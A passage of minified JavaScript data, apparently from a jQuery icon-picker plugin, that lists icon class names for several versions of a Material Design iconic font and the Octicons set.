ert","network-locked","network-off","network-outline","network-setting","nfc","notifications","notifications-active","notifications-add","notifications-none","notifications-off","notifications-paused","open-in-browser","open-in-new","palette","panorama-horizontal","panorama-vertical","panorama-wide-angle","parking","pause","pause-circle","pause-circle-outline","paypal","phone","phone-bluetooth","phone-end","phone-forwarded","phone-in-talk","phone-locked","phone-missed","phone-msg","phone-paused","phone-ring","phone-setting","phone-sip","photo-size-select-large","photo-size-select-small","picture-in-picture","pin","pin-account","pin-assistant","pin-drop","pin-help","pin-off","pinterest-box","pizza","plaster","play","play-circle","play-circle-outline","play-for-work","playlist-audio","playlist-plus","plus","plus-1","plus-2","plus-circle","plus-circle-o","plus-circle-o-duplicate","plus-square","pocket","polymer","portable-wifi","portable-wifi-changes","portable-wifi-off","power","power-input","power-setting","present-to-all","print","puzzle-piece","quote","radio","railway","reader","receipt","redo","refresh","refresh-alt","refresh-sync","refresh-sync-alert","refresh-sync-off","remote-control","remote-control-alt","repeat","repeat-one","replay","replay-10","replay-30","replay-5","roller","rotate-ccw","rotate-cw","rotate-left","rotate-right","router","ruler","run","satellite","scanner","scissors","screen-rotation","screen-rotation-lock","search","search-for","search-in-file","search-in-page","search-replace","seat","sec-10","sec-3","select-all","settings","settings-square","share","shield-check","shield-security","shopping-basket","shopping-cart","shopping-cart-plus","shuffle","sign-in","skip-next","skip-previous","slideshow","smartphone","smartphone-android","smartphone-download","smartphone-erase","smartphone-info","smartphone-iphone","smartphone-landscape","smartphone-landscape-lock","smartphone-lock","smartphone-portrait-lock","smartphone-ring","smartphone-setting","smartphone-setup","sort-amount-asc","sort-amount-desc","sort-asc","sort-desc","space-bar","speaker","spellcheck","square-down","square-o","square-right","star","star-circle","star-half","star-outline","steam","steam-square","stop","storage","store","store-24","subway","sun","surround-sound","swap","swap-alt","swap-vertical","swap-vertical-circle","tab","tab-unselected","tablet","tablet-android","tablet-mac","tag","tag-close","tag-more","tap-and-play","text-format","texture","thumb-down","thumb-up","thumb-up-down","ticket-star","time","time-countdown","time-interval","time-restore","time-restore-setting","timer","timer-off","toll","tonality","toys","traffic","transform","translate","trending-down","trending-flat","trending-up","triangle-down","triangle-up","truck","tune","turning-sign","tv","tv-alt-play","tv-list","tv-play","twitter","twitter-box","undo","unfold-less","unfold-more","upload","usb","vibration","videocam","videocam-off","videocam-switch","view-agenda","view-array","view-carousel","view-column","view-comfy","view-compact","view-dashboard","view-day","view-headline","view-list","view-list-alt","view-module","view-quilt","view-stream","view-subtitles","view-toc","view-web","view-week","vignette","vk","voicemail","volume-down","volume-mute","volume-off","volume-up","walk","wallpaper","washing-machine","watch","wb-auto","widgets","wifi","wifi-alt","wifi-alt-2","wifi-info","wifi-lock","wifi-off","wifi-outline","wikipedia","window-maximize","window-minimize","window-restore","windows","wrap-text","wrench","zero","zoom-in","zoom-out"]},{version:"2.1.2",icons:["","3d-rotation","account","account-add","account-box","account-box-mail","account-box-o","account-box-phone","account-calendar","account-circle","account-o","accounts","accounts-add","accounts-alt","accounts-list","accounts-list-alt","accounts-outline","airline-seat-flat","airline-seat-flat-angled","airline-seat-individual-suite","airline-seat-legroom-extra","airline-seat-legroom-normal","airline-seat-legroom-reduced","airline-seat-recline-extra","airline-seat-recline-normal","airplane","airplane-off","airplay","alarm","alarm-check","alarm-off","alarm-plus","alarm-snooze","album","alert-circle","alert-circle-o","alert-octagon","alert-polygon","alert-triangle","android","android-alt","apple","apps","archive","arrow-left","arrow-left-bottom","arrow-merge","arrow-missed","arrow-right","arrow-right-top","arrow-split","arrows","aspect-ratio","aspect-ratio-alt","assignment","assignment-account","assignment-alert","assignment-check","assignment-o","assignment-return","assignment-returned","attachment","attachment-alt","audio","badge-check","balance","balance-wallet","battery","battery-alert","battery-flash","battery-unknown","behance","bike","block","block-alt","bluetooth","bluetooth-connected","bluetooth-off","bluetooth-search","bluetooth-setting","blur","blur-circular","blur-linear","blur-off","boat","book","book-image","bookmark","bookmark-outline","border-all","border-bottom","border-clear","border-color","border-horizontal","border-inner","border-left","border-outer","border-right","border-style","border-top","border-vertical","brightness-2","brightness-3","brightness-4","brightness-5","brightness-6","brightness-7","brightness-auto","brightness-high","brightness-setting","broken-image","brush","bug","bus","cake","calendar","calendar-alt","calendar-check","calendar-close","calendar-note","camera","camera-add","camera-alt","camera-bw","camera-front","camera-mic","camera-party-mode","camera-rear","camera-roll","camera-switch","car","car-taxi","car-wash","card","card-alert","card-giftcard","card-membership","card-off","card-sd","card-sim","card-travel","caret-down","caret-down-circle","caret-left","caret-left-circle","caret-right","caret-right-circle","caret-up","caret-up-circle","case","case-check","case-download","case-play","cast","cast-connected","center-focus-strong","center-focus-weak","chart","chart-donut","check","check-all","check-circle","check-circle-u","check-square","chevron-down","chevron-left","chevron-right","chevron-up","circle","circle-o","city","city-alt","close","close-circle","close-circle-o","closed-caption","cloud","cloud-box","cloud-circle","cloud-done","cloud-download","cloud-off","cloud-outline","cloud-outline-alt","cloud-upload","cocktail","code","code-setting","code-smartphone","codepen","coffee","collection-bookmark","collection-case-play","collection-folder-image","collection-image","collection-image-o","collection-item","collection-item-1","collection-item-2","collection-item-3","collection-item-4","collection-item-5","collection-item-6","collection-item-7","collection-item-8","collection-item-9","collection-item-9-plus","collection-music","collection-pdf","collection-plus","collection-speaker","collection-text","collection-video","comment","comment-alert","comment-alt","comment-alt-text","comment-edit","comment-image","comment-list","comment-more","comment-outline","comment-text","comment-text-alt","comment-video","comments","compare","compass","confirmation-number","copy","crop","crop-16-9","crop-3-2","crop-5-4","crop-7-5","crop-din","crop-free","crop-landscape","crop-portrait","crop-square","cutlery","delete","desktop-mac","desktop-windows","developer-board","device-hub","devices","devices-off","dialpad","directions","directions-bike","directions-boat","directions-bus","directions-car","directions-railway","directions-run","directions-subway","directions-walk","disc-full","dns","dock","dot-circle","dot-circle-alt","download","dribbble","drink","dropbox","edit","eject","eject-alt","email","email-open","equalizer","evernote","explicit","exposure","exposure-alt","eye","eye-off","eyedropper","face","facebook","facebook-box","fast-forward","fast-rewind","favorite","favorite-outline","female","file","file-plus","file-text","filter-b-and-w","filter-center-focus","filter-frames","filter-list","filter-tilt-shift","fire","flag","flare","flash","flash-auto","flash-off","flight-land","flight-takeoff","flip","flip-to-back","flip-to-front","floppy","flower","flower-alt","folder","folder-outline","folder-person","folder-star","folder-star-alt","font","format-align-center","format-align-justify","format-align-left","format-align-right","format-bold","format-clear","format-clear-all","format-color-fill","format-color-reset","format-color-text","format-indent-decrease","format-indent-increase","format-italic","format-line-spacing","format-list-bulleted","format-list-numbered","format-ltr","format-rtl","format-size","format-strikethrough","format-strikethrough-s","format-subject","format-underlined","format-valign-bottom","format-valign-center","format-valign-top","forward","forward-10","forward-30","forward-5","fullscreen","fullscreen-alt","fullscreen-exit","functions","gamepad","gas-station","gesture","gif","github","github-box","globe","globe-alt","globe-lock","google","google-drive","google-earth","google-glass","google-maps","google-pages","google-play","google-plus","google-plus-box","gps","gps-dot","gps-off","gradient","graduation-cap","grain","graphic-eq","grid","grid-off","group-work","hd","hdr","hdr-off","hdr-strong","hdr-weak","headset","headset-mic","hearing","help","help-outline","home","hospital","hospital-alt","hotel","hourglass","hourglass-alt","hourglass-outline","hq","http","image","image-alt","image-o","inbox","info","info-outline","input-antenna","input-composite","input-hdmi","input-power","input-svideo","instagram","invert-colors","invert-colors-off","iridescent","key","keyboard","keyboard-hide","label","label-alt","label-alt-outline","label-heart","labels","lamp","landscape","language-css3","language-html5","language-javascript","language-python","language-python-alt","laptop","laptop-chromebook","laptop-mac","lastfm","layers","layers-off","leak","leak-off","library","link","linkedin-box","local-activity","local-airport","local-atm","local-bar","local-cafe","local-car-wash","local-convenience-store","local-dining","local-drink","local-florist","local-gas-station","local-grocery-store","local-hospital","local-hotel","local-laundry-service","local-library","local-mall","local-movies","local-offer","local-parking","local-pharmacy","local-phone","local-pizza","local-post-office","local-printshop","local-see","local-shipping","local-store","local-taxi","local-wc","lock","lock-open","lock-outline","long-arrow-down","long-arrow-left","long-arrow-return","long-arrow-right","long-arrow-tab","long-arrow-up","looks","loupe","mail-reply","mail-reply-all","mail-send","male","male-alt","male-female","mall","map","markunread-mailbox","memory","menu","mic","mic-off","mic-outline","mic-setting","minus","minus-circle","minus-circle-outline","minus-square","money","money-box","money-off","mood","mood-bad","more","more-vert","mouse","movie","movie-alt","my-location","n-1-square","n-2-square","n-3-square","n-4-square","n-5-square","n-6-square","nature","nature-people","navigation","neg-1","neg-2","network","network-alert","network-locked","network-off","network-outline","network-setting","nfc","notifications","notifications-active","notifications-add","notifications-none","notifications-off","notifications-paused","open-in-browser","open-in-new","palette","panorama-horizontal","panorama-vertical","panorama-wide-angle","parking","pause","pause-circle","pause-circle-outline","paypal","phone","phone-bluetooth","phone-end","phone-forwarded","phone-in-talk","phone-locked","phone-missed","phone-msg","phone-paused","phone-ring","phone-setting","phone-sip","photo-size-select-large","photo-size-select-small","picture-in-picture","pin","pin-account","pin-assistant","pin-drop","pin-help","pin-off","pinterest-box","pizza","plaster","play","play-circle","play-circle-outline","play-for-work","playlist-audio","playlist-plus","plus","plus-1","plus-2","plus-circle","plus-circle-o","plus-circle-o-duplicate","plus-square","pocket","polymer","portable-wifi","portable-wifi-changes","portable-wifi-off","power","power-input","power-setting","present-to-all","print","puzzle-piece","quote","radio","railway","reader","receipt","redo","refresh","refresh-alt","refresh-sync","refresh-sync-alert","refresh-sync-off","remote-control","remote-control-alt","repeat","repeat-one","replay","replay-10","replay-30","replay-5","roller","rotate-ccw","rotate-cw","rotate-left","rotate-right","router","ruler","run","satellite","scanner","scissors","screen-rotation","screen-rotation-lock","search","search-for","search-in-file","search-in-page","search-replace","seat","sec-10","sec-3","select-all","settings","settings-square","share","shield-check","shield-security","shopping-basket","shopping-cart","shopping-cart-plus","shuffle","sign-in","skip-next","skip-previous","slideshow","smartphone","smartphone-android","smartphone-download","smartphone-erase","smartphone-info","smartphone-iphone","smartphone-landscape","smartphone-landscape-lock","smartphone-lock","smartphone-portrait-lock","smartphone-ring","smartphone-setting","smartphone-setup","sort-amount-asc","sort-amount-desc","sort-asc","sort-desc","space-bar","speaker","spellcheck","square-down","square-o","square-right","star","star-circle","star-half","star-outline","steam","steam-square","stop","storage","store","store-24","subway","sun","surround-sound","swap","swap-alt","swap-vertical","swap-vertical-circle","tab","tab-unselected","tablet","tablet-android","tablet-mac","tag","tag-close","tag-more","tap-and-play","text-format","texture","thumb-down","thumb-up","thumb-up-down","ticket-star","time","time-countdown","time-interval","time-restore","time-restore-setting","timer","timer-off","toll","tonality","toys","traffic","transform","translate","trending-down","trending-flat","trending-up","triangle-down","triangle-up","truck","tune","turning-sign","tv","tv-alt-play","tv-list","tv-play","twitter","twitter-box","undo","unfold-less","unfold-more","upload","usb","vibration","videocam","videocam-off","videocam-switch","view-agenda","view-array","view-carousel","view-column","view-comfy","view-compact","view-dashboard","view-day","view-headline","view-list","view-list-alt","view-module","view-quilt","view-stream","view-subtitles","view-toc","view-web","view-week","vignette","vk","voicemail","volume-down","volume-mute","volume-off","volume-up","walk","wallpaper","washing-machine","watch","wb-auto","widgets","wifi","wifi-alt","wifi-alt-2","wifi-info","wifi-lock","wifi-off","wifi-outline","wikipedia","window-maximize","window-minimize","window-restore","windows","wrap-text","wrench","zero","zoom-in","zoom-out"]},{version:"2.2.0",icons:["","3d-rotation","500px","8tracks","account","account-add","account-box","account-box-mail","account-box-o","account-box-phone","account-calendar","account-circle","account-o","accounts","accounts-add","accounts-alt","accounts-list","accounts-list-alt","accounts-outline","airline-seat-flat","airline-seat-flat-angled","airline-seat-individual-suite","airline-seat-legroom-extra","airline-seat-legroom-normal","airline-seat-legroom-reduced","airline-seat-recline-extra","airline-seat-recline-normal","airplane","airplane-off","airplay","alarm","alarm-check","alarm-off","alarm-plus","alarm-snooze","album","alert-circle","alert-circle-o","alert-octagon","alert-polygon","alert-triangle","amazon","android","android-alt","apple","apps","archive","arrow-left","arrow-left-bottom","arrow-merge","arrow-missed","arrow-right","arrow-right-top","arrow-split","arrows","aspect-ratio","aspect-ratio-alt","assignment","assignment-account","assignment-alert","assignment-check","assignment-o","assignment-return","assignment-returned","attachment","attachment-alt","audio","badge-check","balance","balance-wallet","battery","battery-alert","battery-flash","battery-unknown","behance","bike","block","block-alt","blogger","bluetooth","bluetooth-connected","bluetooth-off","bluetooth-search","bluetooth-setting","blur","blur-circular","blur-linear","blur-off","boat","book","book-image","bookmark","bookmark-outline","border-all","border-bottom","border-clear","border-color","border-horizontal","border-inner","border-left","border-outer","border-right","border-style","border-top","border-vertical","brightness-2","brightness-3","brightness-4","brightness-5","brightness-6","brightness-7","brightness-auto","brightness-high","brightness-setting","broken-image","brush","bug","bus","cake","calendar","calendar-alt","calendar-check","calendar-close","calendar-note","camera","camera-add","camera-alt","camera-bw","camera-front","camera-mic","camera-party-mode","camera-rear","camera-roll","camera-switch","car","car-taxi","car-wash","card","card-alert","card-giftcard","card-membership","card-off","card-sd","card-sim","card-travel","caret-down","caret-down-circle","caret-left","caret-left-circle","caret-right","caret-right-circle","caret-up","caret-up-circle","case","case-check","case-download","case-play","cast","cast-connected","center-focus-strong","center-focus-weak","chart","chart-donut","check","check-all","check-circle","check-circle-u","check-square","chevron-down","chevron-left","chevron-right","chevron-up","circle","circle-o","city","city-alt","close","close-circle","close-circle-o","closed-caption","cloud","cloud-box","cloud-circle","cloud-done","cloud-download","cloud-off","cloud-outline","cloud-outline-alt","cloud-upload","cocktail","code","code-setting","code-smartphone","codepen","coffee","collection-bookmark","collection-case-play","collection-folder-image","collection-image","collection-image-o","collection-item","collection-item-1","collection-item-2","collection-item-3","collection-item-4","collection-item-5","collection-item-6","collection-item-7","collection-item-8","collection-item-9","collection-item-9-plus","collection-music","collection-pdf","collection-plus","collection-speaker","collection-text","collection-video","comment","comment-alert","comment-alt","comment-alt-text","comment-edit","comment-image","comment-list","comment-more","comment-outline","comment-text","comment-text-alt","comment-video","comments","compare","compass","confirmation-number","copy","crop","crop-16-9","crop-3-2","crop-5-4","crop-7-5","crop-din","crop-free","crop-landscape","crop-portrait","crop-square","cutlery","delete","delicious","desktop-mac","desktop-windows","developer-board","device-hub","devices","devices-off","dialpad","directions","directions-bike","directions-boat","directions-bus","directions-car","directions-railway","directions-run","directions-subway","directions-walk","disc-full","disqus","dns","dock","dot-circle","dot-circle-alt","download","dribbble","drink","dropbox","edit","eject","eject-alt","email","email-open","equalizer","evernote","explicit","exposure","exposure-alt","eye","eye-off","eyedropper","face","facebook","facebook-box","fast-forward","fast-rewind","favorite","favorite-outline","female","file","file-plus","file-text","filter-b-and-w","filter-center-focus","filter-frames","filter-list","filter-tilt-shift","fire","flag","flare","flash","flash-auto","flash-off","flattr","flickr","flight-land","flight-takeoff","flip","flip-to-back","flip-to-front","floppy","flower","flower-alt","folder","folder-outline","folder-person","folder-star","folder-star-alt","font","format-align-center","format-align-justify","format-align-left","format-align-right","format-bold","format-clear","format-clear-all","format-color-fill","format-color-reset","format-color-text","format-indent-decrease","format-indent-increase","format-italic","format-line-spacing","format-list-bulleted","format-list-numbered","format-ltr","format-rtl","format-size","format-strikethrough","format-strikethrough-s","format-subject","format-underlined","format-valign-bottom","format-valign-center","format-valign-top","forward","forward-10","forward-30","forward-5","fullscreen","fullscreen-alt","fullscreen-exit","functions","gamepad","gas-station","gesture","gif","github","github-alt","github-box","globe","globe-alt","globe-lock","google","google-drive","google-earth","google-glass","google-maps","google-old","google-pages","google-play","google-plus","google-plus-box","gps","gps-dot","gps-off","gradient","graduation-cap","grain","graphic-eq","grid","grid-off","group","group-work","hd","hdr","hdr-off","hdr-strong","hdr-weak","headset","headset-mic","hearing","help","help-outline","home","hospital","hospital-alt","hotel","hourglass","hourglass-alt","hourglass-outline","hq","http","image","image-alt","image-o","inbox","info","info-outline","input-antenna","input-composite","input-hdmi","input-power","input-svideo","instagram","invert-colors","invert-colors-off","iridescent","key","keyboard","keyboard-hide","label","label-alt","label-alt-outline","label-heart","labels","lamp","landscape","language-css3","language-html5","language-javascript","language-python","language-python-alt","laptop","laptop-chromebook","laptop-mac","lastfm","layers","layers-off","leak","leak-off","library","link","linkedin","linkedin-box","local-activity","local-airport","local-atm","local-bar","local-cafe","local-car-wash","local-convenience-store","local-dining","local-drink","local-florist","local-gas-station","local-grocery-store","local-hospital","local-hotel","local-laundry-service","local-library","local-mall","local-movies","local-offer","local-parking","local-pharmacy","local-phone","local-pizza","local-post-office","local-printshop","local-see","local-shipping","local-store","local-taxi","local-wc","lock","lock-open","lock-outline","long-arrow-down","long-arrow-left","long-arrow-return","long-arrow-right","long-arrow-tab","long-arrow-up","looks","loupe","mail-reply","mail-reply-all","mail-send","male","male-alt","male-female","mall","map","markunread-mailbox","memory","menu","mic","mic-off","mic-outline","mic-setting","minus","minus-circle","minus-circle-outline","minus-square","money","money-box","money-off","mood","mood-bad","more","more-vert","mouse","movie","movie-alt","my-location","n-1-square","n-2-square","n-3-square","n-4-square","n-5-square","n-6-square","nature","nature-people","navigation","neg-1","neg-2","network","network-alert","network-locked","network-off","network-outline","network-setting","nfc","notifications","notifications-active","notifications-add","notifications-none","notifications-off","notifications-paused","odnoklassniki","open-in-browser","open-in-new","outlook","palette","panorama-horizontal","panorama-vertical","panorama-wide-angle","parking","pause","pause-circle","pause-circle-outline","paypal","paypal-alt","phone","phone-bluetooth","phone-end","phone-forwarded","phone-in-talk","phone-locked","phone-missed","phone-msg","phone-paused","phone-ring","phone-setting","phone-sip","photo-size-select-large","photo-size-select-small","picture-in-picture","pin","pin-account","pin-assistant","pin-drop","pin-help","pin-off","pinterest","pinterest-box","pizza","plaster","play","play-circle","play-circle-outline","play-for-work","playlist-audio","playlist-plus","playstation","plus","plus-1","plus-2","plus-circle","plus-circle-o","plus-circle-o-duplicate","plus-square","pocket","polymer","portable-wifi","portable-wifi-changes","portable-wifi-off","power","power-input","power-setting","present-to-all","print","puzzle-piece","quote","radio","railway","reader","receipt","reddit","redo","refresh","refresh-alt","refresh-sync","refresh-sync-alert","refresh-sync-off","remote-control","remote-control-alt","repeat","repeat-one","replay","replay-10","replay-30","replay-5","roller","rotate-ccw","rotate-cw","rotate-left","rotate-right","router","rss","ruler","run","satellite","scanner","scissors","screen-rotation","screen-rotation-lock","search","search-for","search-in-file","search-in-page","search-replace","seat","sec-10","sec-3","select-all","settings","settings-square","shape","share","shield-check","shield-security","shopping-basket","shopping-cart","shopping-cart-plus","shuffle","sign-in","skip-next","skip-previous","skype","slideshare","slideshow","smartphone","smartphone-android","smartphone-download","smartphone-erase","smartphone-info","smartphone-iphone","smartphone-landscape","smartphone-landscape-lock","smartphone-lock","smartphone-portrait-lock","smartphone-ring","smartphone-setting","smartphone-setup","sort-amount-asc","sort-amount-desc","sort-asc","sort-desc","soundcloud","space-bar","speaker","spellcheck","spinner","square-down","square-o","square-right","stackoverflow","star","star-circle","star-half","star-outline","steam","steam-square","stop","storage","store","store-24","subway","sun","surround-sound","swap","swap-alt","swap-vertical","swap-vertical-circle","tab","tab-unselected","tablet","tablet-android","tablet-mac","tag","tag-close","tag-more","tap-and-play","text-format","texture","thumb-down","thumb-up","thumb-up-down","ticket-star","time","time-countdown","time-interval","time-restore","time-restore-setting","timer","timer-off","toll","tonality","toys","traffic","transform","translate","trending-down","trending-flat","trending-up","triangle-down","triangle-up","truck","tumblr","tune","turning-sign","tv","tv-alt-play","tv-list","tv-play","twitch","twitter","twitter-box","undo","unfold-less","unfold-more","ungroup","upload","usb","vibration","videocam","videocam-off","videocam-switch","view-agenda","view-array","view-carousel","view-column","view-comfy","view-compact","view-dashboard","view-day","view-headline","view-list","view-list-alt","view-module","view-quilt","view-stream","view-subtitles","view-toc","view-web","view-week","vignette","vimeo","vk","voicemail","volume-down","volume-mute","volume-off","volume-up","walk","wallpaper","washing-machine","watch","wb-auto","whatsapp","widgets","wifi","wifi-alt","wifi-alt-2","wifi-info","wifi-lock","wifi-off","wifi-outline","wikipedia","window-maximize","window-minimize","window-restore","windows","wrap-text","wrench","xbox","yahoo","youtube","youtube-play","zero","zoom-in","zoom-out"]
}]},l=data.allVersions.length;data.icons=data.allVersions[l-1].icons,$.iconset_materialdesign=data}(jQuery);
!function($){var data={iconClass:"octicon",iconClassFix:"octicon-",icons:[],allVersions:[{version:"2.0.0",icons:["","alert","alignment-align","alignment-aligned-to","alignment-unalign","arrow-down","arrow-left","arrow-right","arrow-small-down","arrow-small-left","arrow-small-right","arrow-small-up","arrow-up","beer","book","bookmark","briefcase","broadcast","browser","bug","calendar","check","checklist","chevron-down","chevron-left","chevron-right","chevron-up","circle-slash","circuit-board","clippy","clock","cloud-download","cloud-upload","code","color-mode","comment","comment-discussion","credit-card","dash","dashboard","database","device-camera","device-camera-video","device-desktop","device-mobile","diff","diff-added","diff-ignored","diff-modified","diff-removed","diff-renamed","ellipsis","eye","file-binary","file-code","file-directory","file-media","file-pdf","file-submodule","file-symlink-directory","file-symlink-file","file-text","file-zip","flame","fold","gear","gift","gist","gist-secret","git-branch","git-commit","git-compare","git-merge","git-pull-request","globe","graph","heart","history","home","horizontal-rule","hourglass","hubot","inbox","info","issue-closed","issue-opened","issue-reopened","jersey","jump-down","jump-left","jump-right","jump-up","key","keyboard","law","light-bulb","link","link-external","list-ordered","list-unordered","location","lock","mail","mail-read","mail-reply","mark-github","markdown","megaphone","mention","microscope","milestone","mirror","mortar-board","move-down","move-left","move-right","move-up","mute","no-newline","octoface","organization","package","paintcan","pencil","person","pin","playback-fast-forward","playback-pause","playback-play","playback-rewind","plug","plus","podium","primitive-dot","primitive-square","pulse","puzzle","question","quote","radio-tower","repo","repo-clone","repo-force-push","repo-forked","repo-pull","repo-push","rocket","rss","ruby","screen-full","screen-normal","search","server","settings","sign-in","sign-out","split","squirrel","star","steps","stop","sync","tag","telescope","terminal","three-bars","tools","trashcan","triangle-down","triangle-left","triangle-right","triangle-up","unfold","unmute","versions","x","zap"]},{version:"2.0.1",icons:["","alert","alignment-align","alignment-aligned-to","alignment-unalign","arrow-down","arrow-left","arrow-right","arrow-small-down","arrow-small-left","arrow-small-right","arrow-small-up","arrow-up","beer","book","bookmark","briefcase","broadcast","browser","bug","calendar","check","checklist","chevron-down","chevron-left","chevron-right","chevron-up","circle-slash","circuit-board","clippy","clock","cloud-download","cloud-upload","code","color-mode","comment-add","comment","comment-discussion","credit-card","dash","dashboard","database","device-camera","device-camera-video","device-desktop","device-mobile","diff","diff-added","diff-ignored","diff-modified","diff-removed","diff-renamed","ellipsis","eye-unwatch","eye-watch","eye","file-binary","file-code","file-directory","file-media","file-pdf","file-submodule","file-symlink-directory","file-symlink-file","file-text","file-zip","flame","fold","gear","gift","gist","gist-secret","git-branch-create","git-branch-delete","git-branch","git-commit","git-compare","git-merge","git-pull-request-abandoned","git-pull-request","globe","graph","heart","history","home","horizontal-rule","hourglass","hubot","inbox","info","issue-closed","issue-opened","issue-reopened","jersey","jump-down","jump-left","jump-right","jump-up","key","keyboard","law","light-bulb","link","link-external","list-ordered","list-unordered","location","gist-private","git-fork-private","lock","mirror-private","logo-github","mail","mail-read","mail-reply","mark-github","markdown","megaphone","mention","microscope","milestone","mirror-public","mirror","mortar-board","move-down","move-left","move-right","move-up","mute","no-newline","octoface","organization","package","paintcan","pencil","person-add","person-follow","person","pin","playback-fast-forward","playback-pause","playback-play","playback-rewind","plug","file-add","file-directory-create","gist-new","plus","repo-create","podium","primitive-dot","primitive-square","pulse","puzzle","question","quote","radio-tower","repo-delete","repo","repo-clone","repo-force-push","gist-fork","repo-forked","repo-pull","repo-push","rocket","rss","ruby","screen-full","screen-normal","search-save","search","server","settings","log-in","sign-in","log-out","sign-out","split","squirrel","star-add","star-delete","star","steps","stop","repo-sync","sync","tag-add","tag-remove","tag","telescope","terminal","three-bars","tools","trashcan","triangle-down","triangle-left","triangle-right","triangle-up","unfold","unmute","versions","remove-close","x","zap"]},{version:"2.0.2",icons:["","alert","alignment-align","alignment-aligned-to","alignment-unalign","arrow-down","arrow-left","arrow-right","arrow-small-down","arrow-small-left","arrow-small-right","arrow-small-up","arrow-up","beer","book","bookmark","briefcase","broadcast","browser","bug","calendar","check","checklist","chevron-down","chevron-left","chevron-right","chevron-up","circle-slash","circuit-board","clippy","clock","cloud-download","cloud-upload","code","color-mode","comment-add","comment","comment-discussion","credit-card","dash","dashboard","database","device-camera","device-camera-video","device-desktop","device-mobile","diff","diff-added","diff-ignored","diff-modified","diff-removed","diff-renamed","ellipsis","eye-unwatch","eye-watch","eye","file-binary","file-code","file-directory","file-media","file-pdf","file-submodule","file-symlink-directory","file-symlink-file","file-text","file-zip","flame","fold","gear","gift","gist","gist-secret","git-branch-create","git-branch-delete","git-branch","git-commit","git-compare","git-merge","git-pull-request-abandoned","git-pull-request","globe","graph","heart","history","home","horizontal-rule","hourglass","hubot","inbox","info","issue-closed","issue-opened","issue-reopened","jersey","jump-down","jump-left","jump-right","jump-up","key","keyboard","law","light-bulb","link","link-external","list-ordered","list-unordered","location","gist-private","git-fork-private","lock","mirror-private","logo-github","mail","mail-read","mail-reply","mark-github","markdown","megaphone","mention","microscope","milestone","mirror-public","mirror","mortar-board","move-down","move-left","move-right","move-up","mute","no-newline","octoface","organization","package","paintcan","pencil","person-add","person-follow","person","pin","playback-fast-forward","playback-pause","playback-play","playback-rewind","plug","file-add","file-directory-create","gist-new","plus","repo-create","podium","primitive-dot","primitive-square","pulse","puzzle","question","quote","radio-tower","repo-delete","repo","repo-clone","repo-force-push","gist-fork","repo-forked","repo-pull","repo-push","rocket","rss","ruby","screen-full","screen-normal","search-save","search","server","settings","log-in","sign-in","log-out","sign-out","split","squirrel","star-add","star-delete","star","steps","stop","repo-sync","sync","tag-add","tag-remove","tag","telescope","terminal","three-bars","tools","trashcan","triangle-down","triangle-left","triangle-right","triangle-up","unfold","unmute","versions","remove-close","x","zap"]},{version:"2.1.0",icons:["","alert","alignment-align","alignment-aligned-to","alignment-unalign","arrow-down","arrow-left","arrow-right","arrow-small-down","arrow-small-left","arrow-small-right","arrow-small-up","arrow-up","beer","book","bookmark","briefcase","broadcast","browser","bug","calendar","check","checklist","chevron-down","chevron-left","chevron-right","chevron-up","circle-slash","circuit-board","clippy","clock","cloud-download","cloud-upload","code","color-mode","comment-add","comment","comment-discussion","credit-card","dash","dashboard","database","device-camera","device-camera-video","device-desktop","device-mobile","diff","diff-added","diff-ignored","diff-modified","diff-removed","diff-renamed","ellipsis","eye-unwatch","eye-watch","eye","file-binary","file-code","file-directory","file-media","file-pdf","file-submodule","file-symlink-directory","file-symlink-file","file-text","file-zip","flame","fold","gear","gift","gist","gist-secret","git-branch-create","git-branch-delete","git-branch","git-commit","git-compare","git-merge","git-pull-request-abandoned","git-pull-request","globe","graph","heart","history","home","horizontal-rule","hourglass","hubot","inbox","info","issue-closed","issue-opened","issue-reopened","jersey","jump-down","jump-left","jump-right","jump-up","key","keyboard","law","light-bulb","link","link-external","list-ordered","list-unordered","location","gist-private","git-fork-private","lock","mirror-private","logo-github","mail","mail-read","mail-reply","mark-github","markdown","megaphone","mention","microscope","milestone","mirror-public","mirror","mortar-board","move-down","move-left","move-right","move-up","mute","no-newline","octoface","organization","package","paintcan","pencil","person-add","person-follow","person","pin","playback-fast-forward","playback-pause","playback-play","playback-rewind","plug","file-add","file-directory-create","gist-new","plus","repo-create","podium","primitive-dot","primitive-square","pulse","puzzle","question","quote","radio-tower","repo-delete","repo","repo-clone","repo-force-push","gist-fork","repo-forked","repo-pull","repo-push","rocket","rss","ruby","screen-full","screen-normal","search-save","search","server","settings","log-in","sign-in","log-out","sign-out","split","squirrel","star-add","star-delete","star","steps","stop","repo-sync","sync","tag-add","tag-remove","tag","telescope","terminal","three-bars","tools","trashcan","triangle-down","triangle-left","triangle-right","triangle-up","unfold","unmute","versions","remove-close","x","zap"]},{version:"2.1.1",icons:["","alert","alignment-align","alignment-aligned-to","alignment-unalign","arrow-down","arrow-left","arrow-right","arrow-small-down","arrow-small-left","arrow-small-right","arrow-small-up","arrow-up","beer","book","bookmark","briefcase","broadcast","browser","bug","calendar","check","checklist","chevron-down","chevron-left","chevron-right","chevron-up","circle-slash","circuit-board","clippy","clock","cloud-download","cloud-upload","code","color-mode","comment-add","comment","comment-discussion","credit-card","dash","dashboard","database","device-camera","device-camera-video","device-desktop","device-mobile","diff","diff-added","diff-ignored","diff-modified","diff-removed","diff-renamed","ellipsis","eye-unwatch","eye-watch","eye","file-binary","file-code","file-directory","file-media","file-pdf","file-submodule","file-symlink-directory","file-symlink-file","file-text","file-zip","flame","fold","gear","gift","gist","gist-secret","git-branch-create","git-branch-delete","git-branch","git-commit","git-compare","git-merge","git-pull-request-abandoned","git-pull-request","globe","graph","heart","history","home","horizontal-rule","hourglass","hubot","inbox","info","issue-closed","issue-opened","issue-reopened","jersey","jump-down","jump-left","jump-right","jump-up","key","keyboard","law","light-bulb","link","link-external","list-ordered","list-unordered","location","gist-private","git-fork-private","lock","mirror-private","logo-github","mail","mail-read","mail-reply","mark-github","markdown","megaphone","mention","microscope","milestone","mirror-public","mirror","mortar-board","move-down","move-left","move-right","move-up","mute","no-newline","octoface","organization","package","paintcan","pencil","person-add","person-follow","person","pin","playback-fast-forward","playback-pause","playback-play","playback-rewind","plug","file-add","file-directory-create","gist-new","plus","repo-create","podium","primitive-dot","primitive-square","pulse","puzzle","question","quote","radio-tower","repo-delete","repo","repo-clone","repo-force-push","gist-fork","repo-forked","repo-pull","repo-push","rocket","rss","ruby","screen-full","screen-normal","search-save","search","server","settings","log-in","sign-in","log-out","sign-out","split","squirrel","star-add","star-delete","star","steps","stop","repo-sync","sync","tag-add","tag-remove","tag","telescope","terminal","three-bars","tools","trashcan","triangle-down","triangle-left","triangle-right","triangle-up","unfold","